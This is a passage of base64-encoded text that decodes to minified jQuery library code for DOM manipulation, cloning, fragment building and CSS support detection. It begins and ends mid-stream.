ZnVuY3Rpb24oKXtuLmV2ZW50LnRyaWdnZXIoYSxiLHRoaXMpfSl9LHRyaWdnZXJIYW5kbGVyOmZ1bmN0aW9uKGEsYil7dmFyIGM9dGhpc1swXTtyZXR1cm4gYz9uLmV2ZW50LnRyaWdnZXIoYSxiLGMsITApOnZvaWQgMH19KTtmdW5jdGlvbiBlYihhKXt2YXIgYj1mYi5zcGxpdCgifCIpLGM9YS5jcmVhdGVEb2N1bWVudEZyYWdtZW50KCk7aWYoYy5jcmVhdGVFbGVtZW50KXdoaWxlKGIubGVuZ3RoKWMuY3JlYXRlRWxlbWVudChiLnBvcCgpKTtyZXR1cm4gY312YXIgZmI9ImFiYnJ8YXJ0aWNsZXxhc2lkZXxhdWRpb3xiZGl8Y2FudmFzfGRhdGF8ZGF0YWxpc3R8ZGV0YWlsc3xmaWdjYXB0aW9ufGZpZ3VyZXxmb290ZXJ8aGVhZGVyfGhncm91cHxtYXJrfG1ldGVyfG5hdnxvdXRwdXR8cHJvZ3Jlc3N8c2VjdGlvbnxzdW1tYXJ5fHRpbWV8dmlkZW8iLGdiPS8galF1ZXJ5XGQrPSIoPzpudWxsfFxkKykiL2csaGI9bmV3IFJlZ0V4cCgiPCg/OiIrZmIrIilbXFxzLz5dIiwiaSIpLGliPS9eXHMrLyxqYj0vPCg/IWFyZWF8YnJ8Y29sfGVtYmVkfGhyfGltZ3xpbnB1dHxsaW5rfG1ldGF8cGFyYW0pKChbXHc6XSspW14+XSopXC8+L2dpLGtiPS88KFtcdzpdKykvLGxiPS88dGJvZHkvaSxtYj0vPHwmIz9cdys7LyxuYj0vPCg/OnNjcmlwdHxzdHlsZXxsaW5rKS9pLG9iPS9jaGVja2VkXHMqKD86W149XXw9XHMqLmNoZWNrZWQuKS9pLHBiPS9eJHxcLyg/OmphdmF8ZWNtYSlzY3JpcHQvaSxxYj0vXnRydWVcLyguKikvLHJiPS9eXHMqPCEoPzpcW0NEQVRBXFt8LS0pfCg/OlxdXF18LS0pPlxzKiQvZyxzYj17b3B0aW9uOlsxLCI8c2VsZWN0IG11bHRpcGxlPSdtdWx0aXBsZSc+IiwiPC9zZWxlY3Q+Il0sbGVnZW5kOlsxLCI8ZmllbGRzZXQ+IiwiPC9maWVsZHNldD4iXSxhcmVhOlsxLCI8bWFwPiIsIjwvbWFwPiJdLHBhcmFtOlsxLCI8b2JqZWN0PiIsIjwvb2JqZWN0PiJdLHRoZWFkOlsxLCI8dGFibGU+IiwiPC90YWJsZT4iXSx0cjpbMiwiPHRhYmxlPjx0Ym9keT4iLCI8L3Rib2R5PjwvdGFibGU+Il0sY29sOlsyLCI8dGFibGU+PHRib2R5PjwvdGJvZHk+PGNvbGdyb3VwPiIsIjwvY29sZ3JvdXA+PC90YWJsZT4iXSx0ZDpbMywiPHRhYmxlPjx0Ym9keT48dHI+IiwiPC90cj48L3Rib2R5PjwvdGFibGU+Il0sX2RlZmF1bHQ6bC5odG1sU2VyaWFsaXplP1swLCIiLCIiXTpbMSwiWDxkaXY+IiwiPC9kaXY+Il19LHRiPWViKHopLHViPXRiLmFwcGVuZENoaWxkKHouY3JlYXRlRWxlbWVudCgiZGl2IikpO3NiLm9wdGdyb3VwPXNiLm9wdGlvbixzYi50Ym9keT1zYi50Zm9vdD1zYi5jb2xncm91cD1zYi5jYXB0aW9uPXNiLnRoZWFkLHNiLnRoPXNiLnRkO2Z1bmN0aW9uIHZiKGEsYil7dmFyIGMsZCxlPTAsZj10eXBlb2YgYS5nZXRFbGVtZW50c0J5VGFnTmFtZSE9PUw/YS5nZXRFbGVtZW50c0J5VGFnTmFtZShifHwiKiIpOnR5cGVvZiBhLnF1ZXJ5U2VsZWN0b3JBbGwhPT1MP2EucXVlcnlTZWxlY3RvckFsbChifHwiKiIpOnZvaWQgMDtpZighZilmb3IoZj1bXSxjPWEuY2hpbGROb2Rlc3x8YTtudWxsIT0oZD1jW2VdKTtlKyspIWJ8fG4ubm9kZU5hbWUoZCxiKT9mLnB1c2goZCk6bi5tZXJnZShmLHZiKGQsYikpO3JldHVybiB2b2lkIDA9PT1ifHxiJiZuLm5vZGVOYW1lKGEsYik/bi5tZXJnZShbYV0sZik6Zn1mdW5jdGlvbiB3YihhKXtYLnRlc3QoYS50eXBlKSYmKGEuZGVmYXVsdENoZWNrZWQ9YS5jaGVja2VkKX1mdW5jdGlvbiB4YihhLGIpe3JldHVybiBuLm5vZGVOYW1lKGEsInRhYmxlIikmJm4ubm9kZU5hbWUoMTEhPT1iLm5vZGVUeXBlP2I6Yi5maXJzdENoaWxkLCJ0ciIpP2EuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInRib2R5IilbMF18fGEuYXBwZW5kQ2hpbGQoYS5vd25lckRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInRib2R5IikpOmF9ZnVuY3Rpb24geWIoYSl7cmV0dXJuIGEudHlwZT0obnVsbCE9PW4uZmluZC5hdHRyKGEsInR5cGUiKSkrIi8iK2EudHlwZSxhfWZ1bmN0aW9uIHpiKGEpe3ZhciBiPXFiLmV4ZWMoYS50eXBlKTtyZXR1cm4gYj9hLnR5cGU9YlsxXTphLnJlbW92ZUF0dHJpYnV0ZSgidHlwZSIpLGF9ZnVuY3Rpb24gQWIoYSxiKXtmb3IodmFyIGMsZD0wO251bGwhPShjPWFbZF0pO2QrKyluLl9kYXRhKGMsImdsb2JhbEV2YWwiLCFifHxuLl9kYXRhKGJbZF0sImdsb2JhbEV2YWwiKSl9ZnVuY3Rpb24gQmIoYSxiKXtpZigxPT09Yi5ub2RlVHlwZSYmbi5oYXNEYXRhKGEpKXt2YXIgYyxkLGUsZj1uLl9kYXRhKGEpLGc9bi5fZGF0YShiLGYpLGg9Zi5ldmVudHM7aWYoaCl7ZGVsZXRlIGcuaGFuZGxlLGcuZXZlbnRzPXt9O2ZvcihjIGluIGgpZm9yKGQ9MCxlPWhbY10ubGVuZ3RoO2U+ZDtkKyspbi5ldmVudC5hZGQoYixjLGhbY11bZF0pfWcuZGF0YSYmKGcuZGF0YT1uLmV4dGVuZCh7fSxnLmRhdGEpKX19ZnVuY3Rpb24gQ2IoYSxiKXt2YXIgYyxkLGU7aWYoMT09PWIubm9kZVR5cGUpe2lmKGM9Yi5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpLCFsLm5vQ2xvbmVFdmVudCYmYltuLmV4cGFuZG9dKXtlPW4uX2RhdGEoYik7Zm9yKGQgaW4gZS5ldmVudHMpbi5yZW1vdmVFdmVudChiLGQsZS5oYW5kbGUpO2IucmVtb3ZlQXR0cmlidXRlKG4uZXhwYW5kbyl9InNjcmlwdCI9PT1jJiZiLnRleHQhPT1hLnRleHQ/KHliKGIpLnRleHQ9YS50ZXh0LHpiKGIpKToib2JqZWN0Ij09PWM/KGIucGFyZW50Tm9kZSYmKGIub3V0ZXJIVE1MPWEub3V0ZXJIVE1MKSxsLmh0bWw1Q2xvbmUmJmEuaW5uZXJIVE1MJiYhbi50cmltKGIuaW5uZXJIVE1MKSYmKGIuaW5uZXJIVE1MPWEuaW5uZXJIVE1MKSk6ImlucHV0Ij09PWMmJlgudGVzdChhLnR5cGUpPyhiLmRlZmF1bHRDaGVja2VkPWIuY2hlY2tlZD1hLmNoZWNrZWQsYi52YWx1ZSE9PWEudmFsdWUmJihiLnZhbHVlPWEudmFsdWUpKToib3B0aW9uIj09PWM/Yi5kZWZhdWx0U2VsZWN0ZWQ9Yi5zZWxlY3RlZD1hLmRlZmF1bHRTZWxlY3RlZDooImlucHV0Ij09PWN8fCJ0ZXh0YXJlYSI9PT1jKSYmKGIuZGVmYXVsdFZhbHVlPWEuZGVmYXVsdFZhbHVlKX19bi5leHRlbmQoe2Nsb25lOmZ1bmN0aW9uKGEsYixjKXt2YXIgZCxlLGYsZyxoLGk9bi5jb250YWlucyhhLm93bmVyRG9jdW1lbnQsYSk7aWYobC5odG1sNUNsb25lfHxuLmlzWE1MRG9jKGEpfHwhaGIudGVzdCgiPCIrYS5ub2RlTmFtZSsiPiIpP2Y9YS5jbG9uZU5vZGUoITApOih1Yi5pbm5lckhUTUw9YS5vdXRlckhUTUwsdWIucmVtb3ZlQ2hpbGQoZj11Yi5maXJzdENoaWxkKSksIShsLm5vQ2xvbmVFdmVudCYmbC5ub0Nsb25lQ2hlY2tlZHx8MSE9PWEubm9kZVR5cGUmJjExIT09YS5ub2RlVHlwZXx8bi5pc1hNTERvYyhhKSkpZm9yKGQ9dmIoZiksaD12YihhKSxnPTA7bnVsbCE9KGU9aFtnXSk7KytnKWRbZ10mJkNiKGUsZFtnXSk7aWYoYilpZihjKWZvcihoPWh8fHZiKGEpLGQ9ZHx8dmIoZiksZz0wO251bGwhPShlPWhbZ10pO2crKylCYihlLGRbZ10pO2Vsc2UgQmIoYSxmKTtyZXR1cm4gZD12YihmLCJzY3JpcHQiKSxkLmxlbmd0aD4wJiZBYihkLCFpJiZ2YihhLCJzY3JpcHQiKSksZD1oPWU9bnVsbCxmfSxidWlsZEZyYWdtZW50OmZ1bmN0aW9uKGEsYixjLGQpe2Zvcih2YXIgZSxmLGcsaCxpLGosayxtPWEubGVuZ3RoLG89ZWIoYikscD1bXSxxPTA7bT5xO3ErKylpZihmPWFbcV0sZnx8MD09PWYpaWYoIm9iamVjdCI9PT1uLnR5cGUoZikpbi5tZXJnZShwLGYubm9kZVR5cGU/W2ZdOmYpO2Vsc2UgaWYobWIudGVzdChmKSl7aD1ofHxvLmFwcGVuZENoaWxkKGIuY3JlYXRlRWxlbWVudCgiZGl2IikpLGk9KGtiLmV4ZWMoZil8fFsiIiwiIl0pWzFdLnRvTG93ZXJDYXNlKCksaz1zYltpXXx8c2IuX2RlZmF1bHQsaC5pbm5lckhUTUw9a1sxXStmLnJlcGxhY2UoamIsIjwkMT48LyQyPiIpK2tbMl0sZT1rWzBdO3doaWxlKGUtLSloPWgubGFzdENoaWxkO2lmKCFsLmxlYWRpbmdXaGl0ZXNwYWNlJiZpYi50ZXN0KGYpJiZwLnB1c2goYi5jcmVhdGVUZXh0Tm9kZShpYi5leGVjKGYpWzBdKSksIWwudGJvZHkpe2Y9InRhYmxlIiE9PWl8fGxiLnRlc3QoZik/Ijx0YWJsZT4iIT09a1sxXXx8bGIudGVzdChmKT8wOmg6aC5maXJzdENoaWxkLGU9ZiYmZi5jaGlsZE5vZGVzLmxlbmd0aDt3aGlsZShlLS0pbi5ub2RlTmFtZShqPWYuY2hpbGROb2Rlc1tlXSwidGJvZHkiKSYmIWouY2hpbGROb2Rlcy5sZW5ndGgmJmYucmVtb3ZlQ2hpbGQoail9bi5tZXJnZShwLGguY2hpbGROb2RlcyksaC50ZXh0Q29udGVudD0iIjt3aGlsZShoLmZpcnN0Q2hpbGQpaC5yZW1vdmVDaGlsZChoLmZpcnN0Q2hpbGQpO2g9by5sYXN0Q2hpbGR9ZWxzZSBwLnB1c2goYi5jcmVhdGVUZXh0Tm9kZShmKSk7aCYmby5yZW1vdmVDaGlsZChoKSxsLmFwcGVuZENoZWNrZWR8fG4uZ3JlcCh2YihwLCJpbnB1dCIpLHdiKSxxPTA7d2hpbGUoZj1wW3ErK10paWYoKCFkfHwtMT09PW4uaW5BcnJheShmLGQpKSYmKGc9bi5jb250YWlucyhmLm93bmVyRG9jdW1lbnQsZiksaD12YihvLmFwcGVuZENoaWxkKGYpLCJzY3JpcHQiKSxnJiZBYihoKSxjKSl7ZT0wO3doaWxlKGY9aFtlKytdKXBiLnRlc3QoZi50eXBlfHwiIikmJmMucHVzaChmKX1yZXR1cm4gaD1udWxsLG99LGNsZWFuRGF0YTpmdW5jdGlvbihhLGIpe2Zvcih2YXIgZCxlLGYsZyxoPTAsaT1uLmV4cGFuZG8saj1uLmNhY2hlLGs9bC5kZWxldGVFeHBhbmRvLG09bi5ldmVudC5zcGVjaWFsO251bGwhPShkPWFbaF0pO2grKylpZigoYnx8bi5hY2NlcHREYXRhKGQpKSYmKGY9ZFtpXSxnPWYmJmpbZl0pKXtpZihnLmV2ZW50cylmb3IoZSBpbiBnLmV2ZW50cyltW2VdP24uZXZlbnQucmVtb3ZlKGQsZSk6bi5yZW1vdmVFdmVudChkLGUsZy5oYW5kbGUpO2pbZl0mJihkZWxldGUgaltmXSxrP2RlbGV0ZSBkW2ldOnR5cGVvZiBkLnJlbW92ZUF0dHJpYnV0ZSE9PUw/ZC5yZW1vdmVBdHRyaWJ1dGUoaSk6ZFtpXT1udWxsLGMucHVzaChmKSl9fX0pLG4uZm4uZXh0ZW5kKHt0ZXh0OmZ1bmN0aW9uKGEpe3JldHVybiBXKHRoaXMsZnVuY3Rpb24oYSl7cmV0dXJuIHZvaWQgMD09PWE/bi50ZXh0KHRoaXMpOnRoaXMuZW1wdHkoKS5hcHBlbmQoKHRoaXNbMF0mJnRoaXNbMF0ub3duZXJEb2N1bWVudHx8eikuY3JlYXRlVGV4dE5vZGUoYSkpfSxudWxsLGEsYXJndW1lbnRzLmxlbmd0aCl9LGFwcGVuZDpmdW5jdGlvbigpe3JldHVybiB0aGlzLmRvbU1hbmlwKGFyZ3VtZW50cyxmdW5jdGlvbihhKXtpZigxPT09dGhpcy5ub2RlVHlwZXx8MTE9PT10aGlzLm5vZGVUeXBlfHw5PT09dGhpcy5ub2RlVHlwZSl7dmFyIGI9eGIodGhpcyxhKTtiLmFwcGVuZENoaWxkKGEpfX0pfSxwcmVwZW5kOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZG9tTWFuaXAoYXJndW1lbnRzLGZ1bmN0aW9uKGEpe2lmKDE9PT10aGlzLm5vZGVUeXBlfHwxMT09PXRoaXMubm9kZVR5cGV8fDk9PT10aGlzLm5vZGVUeXBlKXt2YXIgYj14Yih0aGlzLGEpO2IuaW5zZXJ0QmVmb3JlKGEsYi5maXJzdENoaWxkKX19KX0sYmVmb3JlOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZG9tTWFuaXAoYXJndW1lbnRzLGZ1bmN0aW9uKGEpe3RoaXMucGFyZW50Tm9kZSYmdGhpcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLHRoaXMpfSl9LGFmdGVyOmZ1bmN0aW9uKCl7cmV0dXJuIHRoaXMuZG9tTWFuaXAoYXJndW1lbnRzLGZ1bmN0aW9uKGEpe3RoaXMucGFyZW50Tm9kZSYmdGhpcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLHRoaXMubmV4dFNpYmxpbmcpfSl9LHJlbW92ZTpmdW5jdGlvbihhLGIpe2Zvcih2YXIgYyxkPWE/bi5maWx0ZXIoYSx0aGlzKTp0aGlzLGU9MDtudWxsIT0oYz1kW2VdKTtlKyspYnx8MSE9PWMubm9kZVR5cGV8fG4uY2xlYW5EYXRhKHZiKGMpKSxjLnBhcmVudE5vZGUmJihiJiZuLmNvbnRhaW5zKGMub3duZXJEb2N1bWVudCxjKSYmQWIodmIoYywic2NyaXB0IikpLGMucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChjKSk7cmV0dXJuIHRoaXN9LGVtcHR5OmZ1bmN0aW9uKCl7Zm9yKHZhciBhLGI9MDtudWxsIT0oYT10aGlzW2JdKTtiKyspezE9PT1hLm5vZGVUeXBlJiZuLmNsZWFuRGF0YSh2YihhLCExKSk7d2hpbGUoYS5maXJzdENoaWxkKWEucmVtb3ZlQ2hpbGQoYS5maXJzdENoaWxkKTthLm9wdGlvbnMmJm4ubm9kZU5hbWUoYSwic2VsZWN0IikmJihhLm9wdGlvbnMubGVuZ3RoPTApfXJldHVybiB0aGlzfSxjbG9uZTpmdW5jdGlvbihhLGIpe3JldHVybiBhPW51bGw9PWE/ITE6YSxiPW51bGw9PWI/YTpiLHRoaXMubWFwKGZ1bmN0aW9uKCl7cmV0dXJuIG4uY2xvbmUodGhpcyxhLGIpfSl9LGh0bWw6ZnVuY3Rpb24oYSl7cmV0dXJuIFcodGhpcyxmdW5jdGlvbihhKXt2YXIgYj10aGlzWzBdfHx7fSxjPTAsZD10aGlzLmxlbmd0aDtpZih2b2lkIDA9PT1hKXJldHVybiAxPT09Yi5ub2RlVHlwZT9iLmlubmVySFRNTC5yZXBsYWNlKGdiLCIiKTp2b2lkIDA7aWYoISgic3RyaW5nIiE9dHlwZW9mIGF8fG5iLnRlc3QoYSl8fCFsLmh0bWxTZXJpYWxpemUmJmhiLnRlc3QoYSl8fCFsLmxlYWRpbmdXaGl0ZXNwYWNlJiZpYi50ZXN0KGEpfHxzYlsoa2IuZXhlYyhhKXx8WyIiLCIiXSlbMV0udG9Mb3dlckNhc2UoKV0pKXthPWEucmVwbGFjZShqYiwiPCQxPjwvJDI+Iik7dHJ5e2Zvcig7ZD5jO2MrKyliPXRoaXNbY118fHt9LDE9PT1iLm5vZGVUeXBlJiYobi5jbGVhbkRhdGEodmIoYiwhMSkpLGIuaW5uZXJIVE1MPWEpO2I9MH1jYXRjaChlKXt9fWImJnRoaXMuZW1wdHkoKS5hcHBlbmQoYSl9LG51bGwsYSxhcmd1bWVudHMubGVuZ3RoKX0scmVwbGFjZVdpdGg6ZnVuY3Rpb24oKXt2YXIgYT1hcmd1bWVudHNbMF07cmV0dXJuIHRoaXMuZG9tTWFuaXAoYXJndW1lbnRzLGZ1bmN0aW9uKGIpe2E9dGhpcy5wYXJlbnROb2RlLG4uY2xlYW5EYXRhKHZiKHRoaXMpKSxhJiZhLnJlcGxhY2VDaGlsZChiLHRoaXMpfSksYSYmKGEubGVuZ3RofHxhLm5vZGVUeXBlKT90aGlzOnRoaXMucmVtb3ZlKCl9LGRldGFjaDpmdW5jdGlvbihhKXtyZXR1cm4gdGhpcy5yZW1vdmUoYSwhMCl9LGRvbU1hbmlwOmZ1bmN0aW9uKGEsYil7YT1lLmFwcGx5KFtdLGEpO3ZhciBjLGQsZixnLGgsaSxqPTAsaz10aGlzLmxlbmd0aCxtPXRoaXMsbz1rLTEscD1hWzBdLHE9bi5pc0Z1bmN0aW9uKHApO2lmKHF8fGs+MSYmInN0cmluZyI9PXR5cGVvZiBwJiYhbC5jaGVja0Nsb25lJiZvYi50ZXN0KHApKXJldHVybiB0aGlzLmVhY2goZnVuY3Rpb24oYyl7dmFyIGQ9bS5lcShjKTtxJiYoYVswXT1wLmNhbGwodGhpcyxjLGQuaHRtbCgpKSksZC5kb21NYW5pcChhLGIpfSk7aWYoayYmKGk9bi5idWlsZEZyYWdtZW50KGEsdGhpc1swXS5vd25lckRvY3VtZW50LCExLHRoaXMpLGM9aS5maXJzdENoaWxkLDE9PT1pLmNoaWxkTm9kZXMubGVuZ3RoJiYoaT1jKSxjKSl7Zm9yKGc9bi5tYXAodmIoaSwic2NyaXB0IikseWIpLGY9Zy5sZW5ndGg7az5qO2orKylkPWksaiE9PW8mJihkPW4uY2xvbmUoZCwhMCwhMCksZiYmbi5tZXJnZShnLHZiKGQsInNjcmlwdCIpKSksYi5jYWxsKHRoaXNbal0sZCxqKTtpZihmKWZvcihoPWdbZy5sZW5ndGgtMV0ub3duZXJEb2N1bWVudCxuLm1hcChnLHpiKSxqPTA7Zj5qO2orKylkPWdbal0scGIudGVzdChkLnR5cGV8fCIiKSYmIW4uX2RhdGEoZCwiZ2xvYmFsRXZhbCIpJiZuLmNvbnRhaW5zKGgsZCkmJihkLnNyYz9uLl9ldmFsVXJsJiZuLl9ldmFsVXJsKGQuc3JjKTpuLmdsb2JhbEV2YWwoKGQudGV4dHx8ZC50ZXh0Q29udGVudHx8ZC5pbm5lckhUTUx8fCIiKS5yZXBsYWNlKHJiLCIiKSkpO2k9Yz1udWxsfXJldHVybiB0aGlzfX0pLG4uZWFjaCh7YXBwZW5kVG86ImFwcGVuZCIscHJlcGVuZFRvOiJwcmVwZW5kIixpbnNlcnRCZWZvcmU6ImJlZm9yZSIsaW5zZXJ0QWZ0ZXI6ImFmdGVyIixyZXBsYWNlQWxsOiJyZXBsYWNlV2l0aCJ9LGZ1bmN0aW9uKGEsYil7bi5mblthXT1mdW5jdGlvbihhKXtmb3IodmFyIGMsZD0wLGU9W10sZz1uKGEpLGg9Zy5sZW5ndGgtMTtoPj1kO2QrKyljPWQ9PT1oP3RoaXM6dGhpcy5jbG9uZSghMCksbihnW2RdKVtiXShjKSxmLmFwcGx5KGUsYy5nZXQoKSk7cmV0dXJuIHRoaXMucHVzaFN0YWNrKGUpfX0pO3ZhciBEYixFYj17fTtmdW5jdGlvbiBGYihiLGMpe3ZhciBkPW4oYy5jcmVhdGVFbGVtZW50KGIpKS5hcHBlbmRUbyhjLmJvZHkpLGU9YS5nZXREZWZhdWx0Q29tcHV0ZWRTdHlsZT9hLmdldERlZmF1bHRDb21wdXRlZFN0eWxlKGRbMF0pLmRpc3BsYXk6bi5jc3MoZFswXSwiZGlzcGxheSIpO3JldHVybiBkLmRldGFjaCgpLGV9ZnVuY3Rpb24gR2IoYSl7dmFyIGI9eixjPUViW2FdO3JldHVybiBjfHwoYz1GYihhLGIpLCJub25lIiE9PWMmJmN8fChEYj0oRGJ8fG4oIjxpZnJhbWUgZnJhbWVib3JkZXI9JzAnIHdpZHRoPScwJyBoZWlnaHQ9JzAnLz4iKSkuYXBwZW5kVG8oYi5kb2N1bWVudEVsZW1lbnQpLGI9KERiWzBdLmNvbnRlbnRXaW5kb3d8fERiWzBdLmNvbnRlbnREb2N1bWVudCkuZG9jdW1lbnQsYi53cml0ZSgpLGIuY2xvc2UoKSxjPUZiKGEsYiksRGIuZGV0YWNoKCkpLEViW2FdPWMpLGN9IWZ1bmN0aW9uKCl7dmFyIGEsYixjPXouY3JlYXRlRWxlbWVudCgiZGl2IiksZD0iLXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O2Rpc3BsYXk6YmxvY2s7cGFkZGluZzowO21hcmdpbjowO2JvcmRlcjowIjtjLmlubmVySFRNTD0iICA8bGluay8+PHRhYmxlPjwvdGFibGU+PGEgaHJlZj0nL2EnPmE8L2E+PGlucHV0IHR5cGU9J2NoZWNrYm94Jy8+IixhPWMuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImEiKVswXSxhLnN0eWxlLmNzc1RleHQ9ImZsb2F0OmxlZnQ7b3BhY2l0eTouNSIsbC5vcGFjaXR5PS9eMC41Ly50ZXN0KGEuc3R5bGUub3BhY2l0eSksbC5jc3NGbG9hdD0hIWEuc3R5bGUuY3NzRmxvYXQsYy5zdHlsZS5iYWNrZ3JvdW5kQ2xpcD0iY29udGVudC1ib3giLGMuY2xvbmVOb2RlKCEwKS5zdHlsZS5iYWNrZ3JvdW5kQ2xpcD0iIixsLmNsZWFyQ2xvbmVTdHlsZT0iY29udGVudC1ib3giPT09Yy5zdHlsZS5iYWNrZ3JvdW5kQ2xpcCxhPWM9bnVsbCxsLnNocmlua1dyYXBCbG9ja3M9ZnVuY3Rpb24oKXt2YXIgYSxjLGUsZjtpZihudWxsPT1iKXtpZihhPXouZ2V0RWxlbWVudHNCeVRhZ05hbWUoImJvZHkiKVswXSwhYSlyZXR1cm47Zj0iYm9yZGVyOjA7d2lkdGg6MDtoZWlnaHQ6MDtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6MDtsZWZ0Oi05OTk5cHgiLGM9ei5jcmVhdGVFbGVtZW50KCJkaXYiKSxlPXouY3JlYXRlRWxlbWVudCgiZGl2IiksYS5hcHBlbmRDaGlsZChjKS5hcHBlbmRDaGlsZChlKSxiPSExLHR5cGVvZiBlLnN0eWxlLnpvb20hPT1MJiYoZS5zdHlsZS5jc3NUZXh0PWQrIjt3aWR0aDoxcHg7cGFkZGluZzoxcHg7em9vbToxIixlLmlubmVySFRNTD0iPGRpdj48L2Rpdj4iLGUuZmlyc3RDaGlsZC5zdHlsZS53aWR0aD0iNXB4IixiPTMhPT1lLm9mZnNldFdpZHRoKSxhLnJlbW92ZUNoaWxkKGMpLGE9Yz1lPW51bGx9cmV0dXJuIGJ9fSgpO3ZhciBIYj0vXm1hcmdpbi8sSWI9bmV3IFJlZ0V4cCgiXigiK1QrIikoPyFweClbYS16JV0rJCIsImkiKSxKYixLYixMYj0vXih0b3B8cmlnaHR8Ym90dG9tfGxlZnQpJC87YS5nZXRDb21wdXRlZFN0eWxlPyhKYj1mdW5jdGlvbihhKXtyZXR1cm4gYS5vd25lckRvY3VtZW50LmRlZmF1bHRWaWV3LmdldENvbXB1dGVkU3R5bGUoYSxudWxsKX0sS2I9ZnVuY3Rpb24oYSxiLGMpe3ZhciBkLGUsZixnLGg9YS5zdHlsZTtyZXR1cm4gYz1jfHxKYihhKSxnPWM/Yy5nZXRQcm9wZXJ0eVZhbHVlKGIpfHxjW2JdOnZvaWQgMCxjJiYoIiIhPT1nfHxuLmNvbnRhaW5zKGEub3duZXJEb2N1bWVudCxhKXx8KGc9bi5zdHlsZShhLGIpKSxJYi50ZXN0KGcpJiZIYi50ZXN0KGIpJiYoZD1oLndpZHRoLGU9aC5taW5XaWR0aCxmPWgubWF4V2lkdGgsaC5taW5XaWR0aD1oLm1heFdpZHRoPWgud2lkdGg9ZyxnPWMud2lkdGgsaC53aWR0aD1kLGgubWluV2lkdGg9ZSxoLm1heFdpZHRoPWYpKSx2b2lkIDA9PT1nP2c6ZysiIn0pOnouZG9jdW1lbnRFbGVtZW50LmN1cnJlbnRTdHlsZSYmKEpiPWZ1bmN0aW9uKGEpe3JldHVybiBhLmN1cnJlbnRTdHlsZX0sS2I9ZnVuY3Rpb24oYSxiLGMpe3ZhciBkLGUsZixnLGg9YS5zdHlsZTtyZXR1cm4gYz1jfHxKYihhKSxnPWM/Y1tiXTp2b2lkIDAsbnVsbD09ZyYmaCYmaFtiXSYmKGc9aFtiXSksSWIudGVzdChnKSYmIUxiLnRlc3QoYikmJihkPWgubGVmdCxlPWEucnVudGltZVN0eWxlLGY9ZSYmZS5sZWZ0LGYmJihlLmxlZnQ9YS5jdXJyZW50U3R5bGUubGVmdCksaC5sZWZ0PSJmb250U2l6ZSI9PT1iPyIxZW0iOmcsZz1oLnBpeGVsTGVmdCsicHgiLGgubGVmdD1kLGYmJihlLmxlZnQ9ZikpLHZvaWQgMD09PWc/ZzpnKyIifHwiYXV0byJ9KTtmdW5jdGlvbiBNYihhLGIpe3JldHVybntnZXQ6ZnVuY3Rpb24oKXt2YXIgYz1hKCk7aWYobnVsbCE9YylyZXR1cm4gYz92b2lkIGRlbGV0ZSB0aGlzLmdldDoodGhpcy5nZXQ9YikuYXBwbHkodGhpcyxhcmd1bWVudHMpfX19IWZ1bmN0aW9uKCl7dmFyIGIsYyxkLGUsZixnLGg9ei5jcmVhdGVFbGVtZW50KCJkaXYiKSxpPSJib3JkZXI6MDt3aWR0aDowO2hlaWdodDowO3Bvc2l0aW9uOmFic29sdXRlO3RvcDowO2xlZnQ6LTk5OTlweCIsaj0iLXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O2Rpc3BsYXk6YmxvY2s7cGFkZGluZzowO21hcmdpbjowO2JvcmRlcjowIjtoLmlubmVySFRNTD0iICA8bGluay8+PHRhYmxlPjwvdGFibGU+PGEgaHJlZj0nL2EnPmE8L2E+PGlucHV0IHR5cGU9J2NoZWNrYm94Jy8+IixiPWguZ2V0RWxlbWVudHNCeVRhZ05hbWUoImEiKVswXSxiLnN0eWxlLmNzc1RleHQ9ImZsb2F0OmxlZnQ7b3BhY2l0eTouNSIsbC5vcGFjaXR5PS9eMC41Ly50ZXN0KGIuc3R5bGUub3BhY2l0eSksbC5jc3NGbG9hdD0hIWIuc3R5bGUuY3NzRmxvYXQsaC5zdHlsZS5iYWNrZ3JvdW5kQ2xpcD0iY29udGVudC1ib3giLGguY2xvbmVOb2RlKCEwKS5zdHlsZS5iYWNrZ3JvdW5kQ2xpcD0iIixsLmNsZWFyQ2xvbmVTdHlsZT0iY29udGVudC1ib3giPT09aC5zdHlsZS5iYWNrZ3JvdW5kQ2xpcCxiPWg9bnVsbCxuLmV4dGVuZChsLHtyZWxpYWJsZUhpZGRlbk9mZnNldHM6ZnVuY3Rpb24oKXtpZihudWxsIT1jKXJldHVybiBjO3ZhciBhLGIsZCxlPXouY3JlYXRlRWxlbWVudCgiZGl2IiksZj16LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF07aWYoZilyZXR1cm4gZS5zZXRBdHRyaWJ1dGUoImNsYXNzTmFtZSIsInQiKSxlLmlubmVySFRNTD0iICA8bGluay8+PHRhYmxlPjwvdGFibGU+PGEgaHJlZj0nL2EnPmE8L2E+PGlucHV0IHR5cGU9J2NoZWNrYm94Jy8+IixhPXouY3JlYXRlRWxlbWVudCgiZGl2IiksYS5zdHlsZS5jc3NUZXh0PWksZi5hcHBlbmRDaGlsZChhKS5hcHBlbmRDaGlsZChlKSxlLmlubmVySFRNTD0iPHRhYmxlPjx0cj48dGQ+PC90ZD48dGQ+dDwvdGQ+PC90cj48L3RhYmxlPiIsYj1lLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0ZCIpLGJbMF0uc3R5bGUuY3NzVGV4dD0icGFkZGluZzowO21hcmdpbjowO2JvcmRlcjowO2Rpc3BsYXk6bm9uZSIsZD0wPT09YlswXS5vZmZzZXRIZWlnaHQsYlswXS5zdHlsZS5kaXNwbGF5PSIiLGJbMV0uc3R5bGUuZGlzcGxheT0ibm9uZSIsYz1kJiYwPT09YlswXS5vZmZzZXRIZWlnaHQsZi5yZW1vdmVDaGlsZChhKSxlPWY9bnVsbCxjfSxib3hTaXppbmc6ZnVuY3Rpb24oKXtyZXR1cm4gbnVsbD09ZCYmay